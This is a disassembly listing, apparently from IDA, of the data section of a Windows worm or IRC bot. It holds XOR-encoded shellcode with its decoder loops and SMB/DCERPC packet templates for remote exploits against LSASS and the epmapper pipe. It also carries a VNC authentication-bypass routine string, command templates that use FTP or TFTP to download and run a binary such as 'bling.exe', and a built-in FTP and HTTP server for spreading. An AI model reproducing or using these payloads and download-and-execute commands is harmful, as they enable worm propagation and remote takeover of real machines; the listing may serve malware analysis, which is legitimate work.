		jmp	edi
sub_43237D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432352


loc_43238A:				; CODE XREF: sub_432352+29j
		call	sub_43237D


loc_43238F:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432352
; ---------------------------------------------------------------------------
		dw 0
dword_432394	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323A4	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323A8	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323B4:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323BC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323BC	dd 0			; CODE XREF: ___:loc_4323B4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_432424	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E02Do
					; ___:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327D4	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327E8	dd offset aLafler	; DATA XREF: sub_40DCF9+15Do
					; "Lafler"
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_432828	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43285C	dd offset word_580046	; DATA XREF: sub_40DCF9+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_432938	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_43293C	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
off_432940	dd offset dword_5C005C	; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		align 8
off_432948	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLallemant+8
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
					; ___:0040E99Eo ...
		align 10h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
		align 10h
		jmp	short loc_4329C2

; =============== S U B	R O U T	I N E =======================================



sub_4329B2	proc far		; CODE XREF: sub_4329B2:loc_4329C2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329BA:				; CODE XREF: sub_4329B2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329BA
		jmp	short loc_4329C7
; ---------------------------------------------------------------------------


loc_4329C2:				; CODE XREF: ___:004329B0j
		call	near ptr sub_4329B2


loc_4329C7:				; CODE XREF: sub_4329B2+Ej
		jo	short loc_432A2B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A49
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A2B:				; CODE XREF: sub_4329B2:loc_4329C7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A49:				; CODE XREF: sub_4329B2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432AF0:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B02

; =============== S U B	R O U T	I N E =======================================



sub_432AF2	proc near		; CODE XREF: sub_432AF2:loc_432B02p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432AFA:				; CODE XREF: sub_432AF2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432AFA
		jmp	short loc_432B07
; ---------------------------------------------------------------------------


loc_432B02:				; CODE XREF: ___:loc_432AF0j
		call	sub_432AF2


loc_432B07:				; CODE XREF: sub_432AF2+Ej
		jo	short near ptr dword_432A80+1Eh
		cwde
		cdq
		cdq
		retn
sub_432AF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BA0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_432DC0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EA0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F04	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F70	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_433094	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433128	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_433194	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_433290	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4332D0	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433408:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433410
; ---------------------------------------------------------------------------
		jmp	short loc_433412
; ---------------------------------------------------------------------------
		align 10h


loc_433410:				; CODE XREF: ___:loc_433408j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_433412:				; CODE XREF: ___:0043340Aj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_43341C	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433420	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_433424	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
		align 4
word_4346DC	dw 1			; DATA XREF: ___:0040EC29r
					; sub_41B55B+24r ...
		align 10h
dword_4346E0	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A1B1+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:004387E8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:004387F4o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4349C4	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349EC	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C0C	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C44	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
